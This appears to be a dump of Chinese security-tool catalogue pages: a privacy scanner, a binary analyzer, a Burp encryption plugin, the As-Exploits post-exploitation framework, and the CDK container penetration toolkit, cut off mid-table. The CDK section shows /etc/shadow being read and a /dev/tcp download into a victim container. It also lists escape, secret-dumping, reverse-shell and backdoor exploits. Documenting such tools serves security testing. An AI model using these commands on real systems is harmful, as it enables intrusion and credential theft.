高级版使用说明\n该项目中的程序仅作为一个基本的架子，会内置一些基本的规则，并不是每一个输入的内容都可以完成相关的扫描工作。所以可以根据自己的需要进行相关规则的配置，优秀的配置内容可以达到质的的效果。\n\n\n- 配置文件路径为 根目录下的config.py文件，即README.md的同级目录\n\n#### 配置项说明\n```\nfilter_components: 此配置项用于配置相关组件内容，包括Json组件或者XML组件等\nfilter_strs: 用于配置需要进行扫描的文件内容，比如需要扫描端口号，则配置为：\"r'.*://([\\d{1,3}\\.]{3}\\d{1,3}).*'\"\nfilter_no: 用于忽略扫描文件中不想要的内容\nshell_list: 用于配置Android相关的壳特征\nweb_file_suffix: 此处配置需要进行扫描的WEB文件后缀名称\nsniffer_filter: 此处用于配置需要进行忽略网络嗅探的文件后缀名称\nheaders: 用于配置自动下载过程中需要的请求头信息\ndata: 用于配置自动下载过程中需要的请求报文体\nmethod: 用于配置自动下载过程中需要的请求方法\n```\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v1.0.9] - 2022-10-23\n\n**更新**  \n- 更新apktool为最新版本  \n- 优化部分环节流程  \n- 修复excle文件导出时超时行数限制  \n- 修复脚本执行时卡顿的问题  \n- 修复Mac下Playload文件权限不足的问题\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/AppScan.md",
    "content": "## AppScan <https://github.com/TongchengOpenSource/AppScan>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-TongchengOpenSource-orange)\n![GitHub stars](https://img.shields.io/github/stars/TongchengOpenSource/AppScan.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.1.5-red)\n![Time](https://img.shields.io/badge/Join-20231025-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n<h1 align=\"center\">\n  <a href=\"https://github.com/tongcheng-security-team/Appscan\"><img src=\"https://github.com/TongchengOpenSource/AppScan/raw/main/doc/image/AppScan.png\" width=\"30%\"  alt=\"AppScan\"></a>\n</h1>\n\n---\n\n<h4 align=\"center\">安全隐私卫士（AppScan）一款免费的企业级自动化隐私检测工具。</h4>\n\n## 背景\n&emsp;&emsp;随着移动互联网的高速发展, 各公司对保护用户的个人隐私安\n全意识也在愈发重视. 但是在实际业务场景中受限于代码开发\n质量或因产品设计不谨慎等原因, APP 难免会引入一些违规收集\n的合规问题, 因此各公司也在加大人力进行合规风险检测, 不过\n随着业务不断发展、功能的频繁迭代更新, 导致人工检测成本\n突增并且很多功能无法检测覆盖, 基于以上背景, 我们开发了\nAppScan 这款隐私合规检测工具, 它是一款基于动态分析, 可以\n精准定位 APP 的违规风险点的自动化隐私检测工具, 能够大大\n提高了合规检测的效率, 帮助使用者便捷、高效、全面的完成\n合规检测, 保障业务合规运行.\n\n&emsp;&emsp;AppScan作为一款免费工具，可以帮助大家便捷、高效、全面的完成合规检测，但是由于AppScan还是一个刚孵化的产品，在自动化等方面还没有很完善，我们希望可以吸取大家在使用过程中发现的问题以及优化的建议，帮助AppScan一起成长。\n\n## AppScan优点\n+ 全面性: &ensp;从信息收集、权限申请及数据传输等多个维度，实现对APP个人信息合规的全面检测。\n+ 规范性: &ensp;全面覆盖《App违法违规收集使用个人信息行为认定方法》、国家标准GB/T35273《信息安全技术 个人信息安全规范》、《中华人民共和国网络安全法》等主流安全检测标准。\n+ 高效性: &ensp;可帮助APP开发公司及开发者快速对APP进行日常合规检测，深度挖掘隐私合规风险点、快速处理大批量App，替代人工翻查代码，降低时间与人力成本，显著提升检测效率。\n+ 易用性: &ensp;无需环境搭配、开箱即用。\n\n## 安装指南\n⬇️[下载地址](https://github.com/tongcheng-security-team/AppScan/releases)\n\n## 支持的环境\n- windows: 10及以上\n- macOs: 11.0及以上\n- android: 8.x及以上\n- app: 64位/未加固(有时候引入的第三方sdk也会自带一些反检测功能)\n\n## 模拟器\n根据 https://github.com/TongchengOpenSource/AppScan/discussions/29 的投票结果, 我们对MuMu和雷电进行了适配工作调研\n目前支持的模拟器\n- 雷神模拟器9(需要在 设置-其他设置 中开启root权限, 设置ADB调试为'开启本地连接')\n\n目前暂不支持的模拟器\n- MuMu模拟器12(未找到ADB开关, 导致ADB无法识别到设备)\n\n## 使用文档\n> 使用者查看此文档即可\n\n🏠[使用文档](https://github.com/TongchengOpenSource/AppScan/wiki)\n\n## 开发文档\n> 开发者需要额外查看文档\n### 架构\n👽[架构说明](https://github.com/TongchengOpenSource/AppScan/blob/main/doc/architecture.md)\n\n### 开发文档\n👽[开发文档](https://github.com/TongchengOpenSource/AppScan/blob/main/doc/dev.md)\n\n### build指南\n👽[build指南](https://github.com/TongchengOpenSource/AppScan/blob/main/doc/build.md)\n\n### api文档\n👽[api文档](https://github.com/TongchengOpenSource/AppScan/blob/main/doc/api.md)\n\n## 系统展示\n* 连接展示\n\n![!连接展示](https://github.com/TongchengOpenSource/AppScan/raw/main/doc/image/connect.png)\n\n* 结果展示\n\n![!结果展示](https://github.com/TongchengOpenSource/AppScan/raw/main/doc/image/dashboard.png)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v2.1.5] - 2024-05-26\n\n**新功能**  \n- 修复AndroidID误报  \n- SDK名单新增quickGame匹配  \n\n**优化**  \n- 丰富安卓ID触发场景  \n- 丰富获取安装app信息触发场景  \n\n**修复**  \n- 打标信息缺失\n\n#### [v2.1.2] - 2023-11-25\n\n**新功能**  \n- 支持雷电模拟器9  \n- 更新frida到16.1.4  \n- 更新adb到RC14.0.5  \n\n**优化**  \n- 迁移更新源到githubRelease  \n- '关于我们'菜单优化  \n- 增加错误日志记录堆栈信息  \n\n**修复**  \n- 修复打标页面描述错误与错位  \n- 修复android13兼容问题  \n- 修复打标文案错乱问题  \n- 修复app信息缺失导致的panic问题\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/As-Exploits.md",
    "content": "## As-Exploits <https://github.com/yzddmr6/As-Exploits>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-JavaScript-blue)\n![Author](https://img.shields.io/badge/Author-yzddmr6-orange)\n![GitHub stars](https://img.shields.io/github/stars/yzddmr6/As-Exploits.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.5.0-red)\n![Time](https://img.shields.io/badge/Join-20210422-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n中国蚁剑后渗透框架\n\n详细介绍：<http://yzddmr6.com/posts/as-exploits/>\n\n支持类型：php/jsp/aspx\n\nPayload部分很多借鉴了[冰蝎](https://github.com/rebeyond/Behinder)跟[哥斯拉](https://github.com/BeichenDream/Godzilla)的实现，向其开发者们表示感谢！\n\n## 支持列表\n\n| 模块名称\\Shell类型 | PHP  | ASPX | JSP  |\n| :---------------: | :--: | :--: | :--: |\n|      基本信息      |  √   |  √   |  √   |\n|     反弹Shell      |  √   |  √   |  √   |\n|       内存马       |      | √ |  √   |\n|     内存马管理     |      | √ |  √   |\n|      杀软识别      |  √   |  √   |  √   |\n|      提权辅助      |  √   |  √   |  √   |\n|      屏幕截图      |      |  √   |  √   |\n|  ShellCode加载器   |      |  √   | √ |\n|     Jar加载器      |      |      |  √   |\n| Bypass OpenRASP | | | √ |\n\n## 模块介绍\n\n[As-Exploits Wiki](https://github.com/yzddmr6/As-Exploits/wiki#模块介绍)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2021-11-18 发布文章[《As-Exploits：中国蚁剑后渗透框架》](https://mp.weixin.qq.com/s/ofeoMTqaJgZcc37JQVYoeg)\n\n## 最近更新\n\n#### [v1.5.0] - 2023-10-21\n\n**更新**  \n- 新增支持jspjs/aspxcsharp类型  \n- 除内存马/内存马管理模块以外，均支持Tomcat10  \n- 内存马注入模块更新:新增Filter部分类型，新增WebSocket部分类型，取消支持Servlet内存马  \n- 内存马管理模块新增Listener、Tomcat-Value、等等内存马的查杀检测  \n- Jar加载器模块内存加载功能BUG修复  \n- ShellCode加载-JNA模块更新，提高兼容性跟稳定性  \n- execPayload模块支持新增额外参数  \n- 新增Js引擎执行模块  \n- aspxcsharp类型支持回显自定义分隔符  \n- aspxcsharp新增SharpLoader模块\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/BinAbsInspector.md",
    "content": "## BinAbsInspector <https://github.com/KeenSecurityLab/BinAbsInspector>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![Author](https://img.shields.io/badge/Author-KeenSecurityLab-orange)\n![GitHub stars](https://img.shields.io/github/stars/KeenSecurityLab/BinAbsInspector.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.1-red)\n![Time](https://img.shields.io/badge/Join-20220615-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n# What is  BinAbsInspector?\n\nBinAbsInspector (Binary Abstract Inspector) is a static analyzer for automated reverse engineering and scanning vulnerabilities in binaries, which is a long-term research project incubated at [Keenlab](https://keenlab.tencent.com/). It is based on abstract interpretation with the support from Ghidra. It works on Ghidra's Pcode instead of assembly. Currently it supports binaries on x86,x64, armv7 and aarch64. \n\n# Installation\n+ Install Ghidra according to [Ghidra's documentation](https://github.com/NationalSecurityAgency/ghidra#install)\n+ Install [Z3](https://github.com/Z3Prover/z3) (tested version: 4.8.15)\n+ Note that generally there are two parts for Z3 library: one is Java package, the other one is native library. The Java package is already included in \"/lib\" directory, but we suggest that you replace it with your own Java package for version compatibility.\n  + For Windows, download a pre-built package from [here](https://github.com/Z3Prover/z3/releases), extract the zip file and add a PATH environment variable pointing to `z3-${version}-win/bin`\n  + For Linux, install with package manager is NOT recommended, there are two options:\n    1. You can download suitable pre-build package from [here](https://github.com/Z3Prover/z3/releases), extract the zip file and copy `z3-${version}-win/bin/*.so` to `/usr/local/lib/`\n    2. or you can build and install z3 according to [Building Z3 using make and GCC/Clang](https://github.com/Z3Prover/z3#building-z3-using-make-and-gccclang)\n  + For MacOS, it is similar to Linux.\n+ Download the extension zip file from [release page](https://github.com/KeenSecurityLab/BinAbsInspector/releases)\n+ Install the extension according to [Ghidra Extension Notes](https://ghidra-sre.org/InstallationGuide.html#GhidraExtensionNotes)\n\n# Building\nBuild the extension by yourself, if you want to develop a new feature, please refer to [development guide](https://github.com/KeenSecurityLab/BinAbsInspector/wiki/Developer-Guide).\n+ Install Ghidra and Z3\n+ Install [Gradle 7.x](https://gradle.org/releases/) (tested version: 7.4)\n+ Pull the repository\n+ Run `gradle buildExtension` under repository root\n+ The extension will be generated at `dist/${GhidraVersion}_${date}_BinAbsInspector.zip` \n\n# Usage\nYou can run BinAbsInspector in headless mode, GUI mode, or with docker.\n\n+ With Ghidra headless mode.\n```\n$GHIDRA_INSTALL_DIR/support/analyzeHeadless <projectPath> <projectName> -import <file> -postScript BinAbsInspector \"@@<scriptParams>\"\n```\n`<projectPath>`   --   Ghidra project path.  \n`<projectName>`   --   Ghidra project name.  \n`<scriptParams>`  --   The argument for our analyzer, provides following options:\n\n| Parameter                                 | Description                           |\n| ----------------------------------------- | --------------------------------------|\n| `[-K <kElement>]`                         | KSet size limit [K](https://github.com/KeenSecurityLab/BinAbsInspector/wiki/Technical-Details#kset)             |\n| `[-callStringK <callStringMaxLen>]`       | Call string maximum length [K](https://github.com/KeenSecurityLab/BinAbsInspector/wiki/Technical-Details#context)|\n| `[-Z3Timeout <timeout>]`                  | Z3 timeout                            |\n| `[-timeout <timeout>]`                    | Analysis timeout                      |\n| `[-entry <address>]`                      | Entry address                         |\n| `[-externalMap <file>]`                   | External function model config        |\n| `[-json]`                                 | Output in json format                 |\n| `[-disableZ3]`                            | Disable Z3                            |\n| `[-all]`                                  | Enable all checkers                   |\n| `[-debug]`                                | Enable debugging log output           |\n| `[-check \"<cweNo1>[;<cweNo2>...]\"]`       | Enable specific checkers              |\n\n+ With Ghidra GUI\n  1. Run Ghidra and import the target binary into a project\n  2. Analyze the binary with default settings\n  3. When the analysis is done, open `Window -> Script Manager` and find `BinAbsInspector.java`\n  4. Double-click on `BinAbsInspector.java` entry, set the parameters in configuration window and click OK\n  5. When the analysis is done, you can see the CWE reports in console window, double-click the addresses from the report can jump to corresponding address\n\n+ With Docker\n\n```shell\ngit clone git@github.com:KeenSecurityLab/BinAbsInspector.git\ncd BinAbsInspector\ndocker build . -t bai\ndocker run -v $(pwd):/data/workspace bai \"@@<script parameters>\" -import <file>\n```\n\n# Implemented Checkers\nSo far BinAbsInspector supports following checkers:\n\n+ [CWE78](https://cwe.mitre.org/data/definitions/78.html)  (OS Command Injection)\n+ [CWE119](https://cwe.mitre.org/data/definitions/119.html) (Buffer Overflow (generic case))\n+ [CWE125](https://cwe.mitre.org/data/definitions/125.html) (Buffer Overflow (Out-of-bounds Read))\n+ [CWE134](https://cwe.mitre.org/data/definitions/134.html) (Use of Externally-Controlled Format string)\n+ [CWE190](https://cwe.mitre.org/data/definitions/190.html) (Integer overflow or wraparound)\n+ [CWE367](https://cwe.mitre.org/data/definitions/367.html) (Time-of-check Time-of-use (TOCTOU))\n+ [CWE415](https://cwe.mitre.org/data/definitions/415.html) (Double free)\n+ [CWE416](https://cwe.mitre.org/data/definitions/416.html) (Use After Free)\n+ [CWE426](https://cwe.mitre.org/data/definitions/426.html) (Untrusted Search Path)\n+ [CWE467](https://cwe.mitre.org/data/definitions/467.html) (Use of sizeof() on a pointer type)\n+ [CWE476](https://cwe.mitre.org/data/definitions/476.htmll) (NULL Pointer Dereference)\n+ [CWE676](https://cwe.mitre.org/data/definitions/676.html) (Use of Potentially Dangerous Function)\n+ [CWE787](https://cwe.mitre.org/data/definitions/787.html) (Buffer Overflow (Out-of-bounds Write))\n\n# Project Structure\nThe structure of this project is as follows, please refer to [technical details](https://github.com/KeenSecurityLab/BinAbsInspector/wiki/Technical-Details) for more details.\n```\n├── main\n│   ├── java\n│   │   └── com\n│   │       └── bai\n│   │           ├── checkers                       checker implementatiom\n│   │           ├── env\n│   │           │   ├── funcs                      function modeling\n│   │           │   │   ├── externalfuncs          external function modeling\n│   │           │   │   └── stdfuncs               cpp std modeling\n│   │           │   └── region                     memory modeling\n│   │           ├── solver                         analyze core and grpah module\n│   │           └── util                           utilities\n│   └── resources\n└── test\n```\nYou can also build the javadoc with `gradle javadoc`, the API documentation will be generated in `./build/docs/javadoc`.\n\n# Acknowledgement\nWe employ [Ghidra](https://ghidra-sre.org/) as our foundation and frequently leverage [JImmutable Collections](http://brianburton.github.io/java-immutable-collections/) for better performance.  \nHere we would like to thank them for their great help!\n\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2022-06-22 发布文章[《BinAbsInspector：二进制文件自动化静态漏洞检测工具》](https://mp.weixin.qq.com/s/KBpkRvkq91mjkS_4QD3yjQ)\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/BurpCrypto.md",
    "content": "## BurpCrypto <https://github.com/whwlsfb/BurpCrypto>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![Author](https://img.shields.io/badge/Author-whwlsfb-orange)\n![GitHub stars](https://img.shields.io/github/stars/whwlsfb/BurpCrypto.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n![Time](https://img.shields.io/badge/Join-20211122-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\nBurpcrypto is a collection of burpsuite encryption plug-ins, supporting AES/RSA/DES/ExecJs(execute JS encryption code in burpsuite).\n\n# Build\n`$ mvn package`\n# Usage\n[中文使用说明](https://blog.wanghw.cn/burpcrypto)\n\n- Download the precompiled jar package from [Releases](https://github.com/whwlsfb/BurpCrypto/releases).\n- Add this jar package to your burpsuite's Extensions.\n- Switch to BurpCrypto tab, select you need Cipher tab.\n- Set key or some value.\n- press \"Add processor\", and give a name for this processor.\n- Switch to Intruder->Payloads->Payload Processing.\n- press \"Add\", select \"Invoke Burp extension\", and select processor you just created.\n- press \"Start attack\", have fun!\n\n## Key Example\n\n- Aes Key(UTF8String): abcdefgabcdefg12\n- Aes IV(UTF8String): abcdefgabcdefg12\n- Rsa X509 Key: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC0hrRIjb3noDWNtbDpANbjt5Iwu2NFeDwU16Ec87ToqeoIm2KI+cOs81JP9aTDk/jkAlU97mN8wZkEMDr5utAZtMVht7GLX33Wx9XjqxUsDfsGkqNL8dXJklWDu9Zh80Ui2Ug+340d5dZtKtd+nv09QZqGjdnSp9PTfFDBY133QIDAQAB\n- Rsa Modulus: ca27d90f03753cbbc9958011baf701ac99305b63f68e26ab5617593e01d2fb519127fb87bafbe6e0472ec3a038575fa292adadbc79390a955a61b29431f78f4734773048a45dcf100e23cabf2df11a55aa90cd6b024a44eed1096c3b9e1408d46aae54d7291b82fe4b7867c5eaa45e9cc0ba7f7ae3e5593337c7dcbace2d02ed2fbbff26c6df8a32bb26be80603fcd94c6c8dbd67878d77b37fedcf808e3d8f469aaa7c65d033d547a5c8ea9bdd5c89b836c65852f355a5efd9c7137a186a62b5eb0e052c8be3096d3b51133f8a8c108292a296c99d37bad42bcc3f6c39fa5e583582942b4fc4e7ff4b6779fff5bbaddc65b19c7c57d8cdb39b1a994e08d4a2f50793d8f707d069c380baf0f64bfdce3b35d0b5c5c59348a35a082012aaf4991080abf518b55787969ff24186cb95f7e7218c904cf1dcaeb5bed723e305b83f2e85d6f116d2c7400f9e49d904db8a5a3a0701cdb579fbf3128511acd0f789ece1233ed926d705b3b0dfa34bf33f5ae4bdc611a602aa03aaae13400bc7ad3813ea4474dc62de3d0cb1f5aac277d895a75d38f9b920938fa6b1de35bd6132798c122403c685bdb6e5e24bbd70cfb3e968da0b8affd398e539e7c1e7add09891780bcbd278f3900499ae09cee0dc62e3f92e70001bab6d46261d2801a37f80d84d0e39fce6eaedf106a61b5961960641b9db0e4e23c770e6370ac5d61c6c9eb0f07\n- Rsa Exponent: 010001\n- DES Key: 12345678\n- DESede Key: 123456781234567812345678\n\n\n## Screenshots\n\nAES Example:\n\n![](https://github.com/whwlsfb/BurpCrypto/raw/master/screenshot/aes.gif)\n\nExecJs Example (Here is the modified MD5 algorithm):\n\n![](https://github.com/whwlsfb/BurpCrypto/raw/master/screenshot/execjs.gif)\n\nQuick Crypto:\n\n![](https://github.com/whwlsfb/BurpCrypto/raw/master/screenshot/quick_crypto.gif)\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2021-11-25 发布文章[《BurpCrypto : 万能网站密码爆破测试工具》](https://mp.weixin.qq.com/s/-paMF8IepVUue7HyVHiLmw)\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/CDK.md",
    "content": "## CDK <https://github.com/cdk-team/CDK>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-cdkteam-orange)\n![GitHub stars](https://img.shields.io/github/stars/cdk-team/CDK.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.5.6-red)\n![Time](https://img.shields.io/badge/Join-20210223-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n# CDK - Zero Dependency Container Penetration Toolkit\n\nEnglish | [简体中文](https://github.com/cdk-team/CDK/wiki/CDK-Home-CN)\n\n![png](https://user-images.githubusercontent.com/7868679/177925206-8d83dc95-0f2f-4d61-9a45-0d43b1b0468f.png)\n\n## Legal Disclaimer\n\nUsage of CDK for attacking targets without prior mutual consent is illegal.\nCDK is for security testing purposes only.\n\n## Overview\n\nCDK is an open-sourced container penetration toolkit, designed for offering stable exploitation in different slimmed containers without any OS dependency. It comes with useful net-tools and many powerful PoCs/EXPs and helps you to escape container and take over K8s cluster easily.\n\n## Quick Start\n\nRun **`cdk eva`** to get evaluate info and a recommend exploit, then run **`cdk run`** to start the attack.\n\n```\n> ./cdk eva --full\n\n[*] Maybe you can exploit the *Capabilities* below:\n[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.\n[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.\nCritical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.\nCritical - Possible Privileged Container Found.\n\n> ./cdk run cap-dac-read-search\n\nRunning with target: /etc/shadow, ref: /etc/hostname\nubuntu:$6$*******:19173:0:99999:7:::\nroot:*:18659:0:99999:7:::\ndaemon:*:18659:0:99999:7:::\nbin:*:18659:0:99999:7:::\n```\n\n## Installation/Delivery\n\nDownload latest release in https://github.com/cdk-team/CDK/releases/\n\nDrop executable files into the target container and start testing.\n\n### TIPS: Deliver CDK into target container in real-world penetration testing\n\nIf you have an exploit that can upload a file, then you can upload CDK binary directly.\n\nIf you have a RCE exploit, but the target container has no `curl` or `wget`, you can use the following method to deliver CDK:\n\n1. First, host CDK binary on your host with public IP.\n```\n(on your host)\nnc -lvp 999 < cdk\n```\n\n2. Inside the victim container execute\n```\ncat < /dev/tcp/(your_public_host_ip)/(port) > cdk\nchmod a+x cdk\n```\n\n## Usage\n```\nUsage:\n  cdk evaluate [--full]\n  cdk run (--list | <exploit> [<args>...])\n  cdk <tool> [<args>...]\n\nEvaluate:\n  cdk evaluate                              Gather information to find weakness inside container.\n  cdk evaluate --full                       Enable file scan during information gathering.\n\nExploit:\n  cdk run --list                            List all available exploits.\n  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki\n\nAuto Escape:\n  cdk auto-escape <cmd>                     Escape container in different ways then let target execute <cmd>.\n\nTool:\n  vi <file>                                 Edit files in container like \"vi\" command.\n  ps                                        Show process information like \"ps -ef\" command.\n  nc [options]                              Create TCP tunnel.\n  ifconfig                                  Show network information.\n  kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.\n  ectl <endpoint> get <key>                 Unauthorized enumeration of ectd keys.\n  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.\n  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000\n\nOptions:\n  -h --help     Show this help msg.\n  -v --version  Show version.\n```\n\n## Features\n\nCDK has three modules:\n\n1. Evaluate: gather information inside container to find potential weakness.\n2. Exploit: for container escaping, persistance and lateral movement\n3. Tool: network-tools and APIs for TCP/HTTP requests, tunnels and K8s cluster management.\n\n### Evaluate Module\n\nUsage\n```\ncdk evaluate [--full]\n```\nThis command will run the scripts below without local file scanning, using `--full` to enable all.\n\n|Tactics|Script|Supported|Usage/Example|\n|---|---|---|---|\n|Information Gathering|OS Basic Info|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-System-Info)|\n|Information Gathering|Available Capabilities|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Commands-and-Capabilities)|\n|Information Gathering|Available Linux Commands|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Commands-and-Capabilities)|\n|Information Gathering|Mounts|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Mounts)|\n|Information Gathering|Net Namespace|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Net-Namespace)|\n|Information Gathering|Sensitive ENV|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Services)|\n|Information Gathering|Sensitive Process|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Services)|\n|Information Gathering|Sensitive Local Files|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Sensitive-Files)|\n|Information Gathering|Kube-proxy Route Localnet(CVE-2020-8558)|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-check-net.ipv4.conf.all.route_localnet)|\n|Information Gathering|DNS-Based Service Discovery|✔|[link](https://github.com/kubernetes/dns/blob/master/docs/specification.md)|\n|Discovery|K8s Api-server Info|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-K8s-API-Server)|\n|Discovery|K8s Service-account Info|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-K8s-Service-Account)|\n|Discovery|Cloud Provider Metadata API|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Cloud-Provider-Metadata-API)|\n\n### Exploit Module\n\nList all available exploits:\n```\ncdk run --list\n```\n\nRun targeted exploit:\n```\ncdk run <script-name> [options]\n```\n\n| Tactic               | Technique                                                  | CDK Exploit Name       | Supported | In Thin                                                                    | Doc                                                                                  |\n|----------------------|------------------------------------------------------------|------------------------|-----------|----------------------------------------------------------------------------|--------------------------------------------------------------------------------------|\n| Escaping             | docker-runc CVE-2019-5736                                  | runc-pwn               | ✔         | ✔                                                                          ||\n| Escaping             | containerd-shim CVE-2020-15257                             | shim-pwn               | ✔         || [link](https://github.com/cdk-team/CDK/wiki/Exploit:-shim-pwn)             |\n| Escaping             | docker.sock PoC (DIND attack)                              | docker-sock-check      | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-sock-check)              |\n| Escaping             | docker.sock RCE                                            | docker-sock-pwn        | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-sock-pwn)                |\n| Escaping             | Docker API(2375) RCE                                       | docker-api-pwn         | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-api-pwn)                 |\n| Escaping             | Device Mount Escaping                                      | mount-disk             | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-mount-disk)                     |\n| Escaping             | LXCFS Escaping                                             | lxcfs-rw               | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-lxcfs-rw)                       |\n| Escaping             | Cgroups Escaping                                           | mount-cgroup           | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-mount-cgroup)                   |\n| Escaping             | Abuse Unprivileged User Namespace Escaping  CVE-2022-0492  | abuse-unpriv-userns    | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-abuse-unpriv-userns)            |\n| Escaping             | Procfs Escaping                                            | mount-procfs           | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-mount-procfs)                   |\n| Escaping             | Ptrace Escaping PoC                                        | check-ptrace           | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-check-ptrace)                   |\n| Escaping             | Rewrite Cgroup(devices.allow)                              | rewrite-cgroup-devices | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-rewrite-cgroup-devices)         |\n| Escaping             | Read arbitrary file from host system (CAP_DAC_READ_SEARCH) | cap-dac-read-search    | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-cap-dac-read-search)            |\n| Discovery            | K8s Component Probe                                        | service-probe          | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-service-probe)                  |\n| Discovery            | Dump Istio Sidecar Meta                                    | istio-check            | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-check-istio)                    |\n| Discovery            | Dump K8s Pod Security Policies                             | k8s-psp-dump           | ✔         || [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-psp-dump)         |\n| Remote Control       | Reverse Shell                                              | reverse-shell          | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-reverse-shell)                  |\n| Remote Control       | Kubelet Exec                                               | kubelet-exec           | ✔         | ✔                                                                          |                  |\n| Credential Access    | Registry BruteForce                                        | registry-brute         | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-Container-Image-Registry-Brute) |\n| Credential Access    | Access Key Scanning                                        | ak-leakage             | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-ak-leakage)                     |\n| Credential Access    | Etcd Get K8s Token                                         | etcd-get-k8s-token     | ✔         | ✔                                                                          |                |\n| Credential Access    | Dump K8s Secrets                                           | k8s-secret-dump        | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-secret-dump)                |\n| Credential Access    | Dump K8s Config                                            | k8s-configmap-dump     | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-configmap-dump)             |\n| Privilege Escalation | K8s RBAC Bypass                                            | k8s-get-sa-token       | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-get-sa-token)               |\n| Persistence          | Deploy WebShell                                            | webshell-deploy        | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-webshell-deploy)                |\n| Persistence          | Deploy Backdoor Pod                                        | k8s-backdoor-daemonset | ✔         | ✔  